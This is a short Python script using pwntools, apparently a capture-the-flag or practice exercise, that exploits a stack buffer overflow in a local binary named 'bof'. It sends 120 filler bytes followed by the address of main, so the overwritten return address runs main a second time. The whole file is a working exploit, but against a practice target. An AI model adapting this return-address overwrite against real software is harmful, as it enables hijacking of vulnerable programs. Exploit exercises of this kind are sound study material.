#!/usr/bin/python3
from pwn import *			# Importing the pwntools library.
from pprint import pprint  	# Importing the pprint function from the pprint module
import time

offset = 120
binary_file = './bof'			
context(arch='amd64')		# Defining the architecture of the binary.		

elf = ELF(binary_file)		# Loading the binary.
p = process(binary_file)	# Starting a process.

print(p.recvline())			# Receives a line from the program.
	
address_of_main = elf.symbols['main']	# Getting the address of the main function in run time.

payload = [								# Making the payload.
	b"A"*offset,
	p64(address_of_main)
]
	
p.sendline(b"".join(payload))			# Joining the payload and sending it.

print(p.recvline())						# Receives a line from the program.

print(p.recvline())						# Receives a line from the program.
p.sendline('Second time')				# Sending the data
print(p.recvline())						# Receives a line from the program.


